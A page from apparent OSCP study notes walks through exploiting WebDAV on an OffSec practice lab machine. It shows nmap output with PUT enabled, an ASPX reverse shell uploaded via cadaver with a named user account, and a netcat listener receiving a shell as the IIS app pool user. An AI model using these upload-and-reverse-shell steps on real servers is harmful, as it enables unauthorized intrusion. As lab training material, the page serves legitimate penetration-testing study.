> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/webdav.md).

# WebDav

### Nmap Scan Results

```bash
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
|   WebDAV type: Unknown
|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
|   Server Date: Fri, 14 Apr 2023 09:00:33 GMT
|_  Server Type: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/10.0
```

### Aspx Reverse Shell

<https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx>

```bash
┌──(root㉿kali)-[/home/kali/Documents/pg_practice/192.168.165.122]
└─# cadaver http://192.168.154.122
Authentication required for 192.168.154.122 on server `192.168.154.122':
Username: fmcsorley
Password: 
dav:/> put shell.aspx
Uploading shell.aspx to `/shell.aspx':
Progress: [=============================>] 100.0% of 15970 bytes succeeded.
```

```bash
┌──(root㉿kali)-[/home/kali/Documents/pg_practice/192.168.165.122]
└─# nc -lvp 443                                                                                      
listening on [any] 443 ...
connect to [192.168.45.5] from hutch.offsec [192.168.154.122] 50261
Spawn Shell...
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool
```